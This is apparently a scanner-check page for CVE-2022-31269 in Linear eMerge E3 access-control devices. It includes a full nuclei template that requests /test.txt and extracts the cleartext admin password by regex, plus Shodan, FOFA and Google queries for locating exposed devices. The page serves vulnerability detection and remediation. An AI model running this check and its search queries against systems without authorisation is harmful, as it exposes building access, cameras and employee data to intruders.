Linear eMerge E3-Series - Information Disclosure

highseverity

8.2CVSS score

7.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Linear eMerge E3-Series devices are susceptible to information disclosure. Admin credentials are stored in clear text at the endpoint /test.txt in situations where the default admin credentials have been changed. An attacker can obtain admin credentials, access the admin dashboard, control building access and cameras, and access employee information.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the device.

Fix

Apply the latest firmware update provided by the vendor to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/test.txt
Positive when: contains "ID=" and "Password=" AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31269 -u <target>

The full check

id: CVE-2022-31269

info:
  name: Linear eMerge E3-Series - Information Disclosure
  author: For3stCo1d
  severity: high
  description: |
    Linear eMerge E3-Series devices are susceptible to information disclosure. Admin credentials are stored in clear text at the endpoint /test.txt in situations where the default admin credentials have been changed. An attacker can obtain admin credentials, access the admin dashboard, control building access and cameras, and access employee information.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167990/Nortek-Linear-eMerge-E3-Series-Credential-Disclosure.html
    - https://www.nortekcontrol.com/access-control/
    - https://eg.linkedin.com/in/omar-1-hashem
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31269
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2022-31269
    cwe-id: CWE-798
    epss-score: 0.07446
    epss-percentile: 0.94504
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query:
      - http.title:"Linear eMerge"
      - http.title:"emerge"
      - http.title:"linear emerge"
    fofa-query:
      - title="emerge"
      - title="linear emerge"
    google-query:
      - intitle:"linear emerge"
      - intitle:"emerge"
  tags: cve,cve2022,emerge,exposure,packetstorm,nortekcontrol,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ID="
          - "Password="
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - Password='(.+?)'

References

Use this check only on systems you are authorised to test. Where the data comes from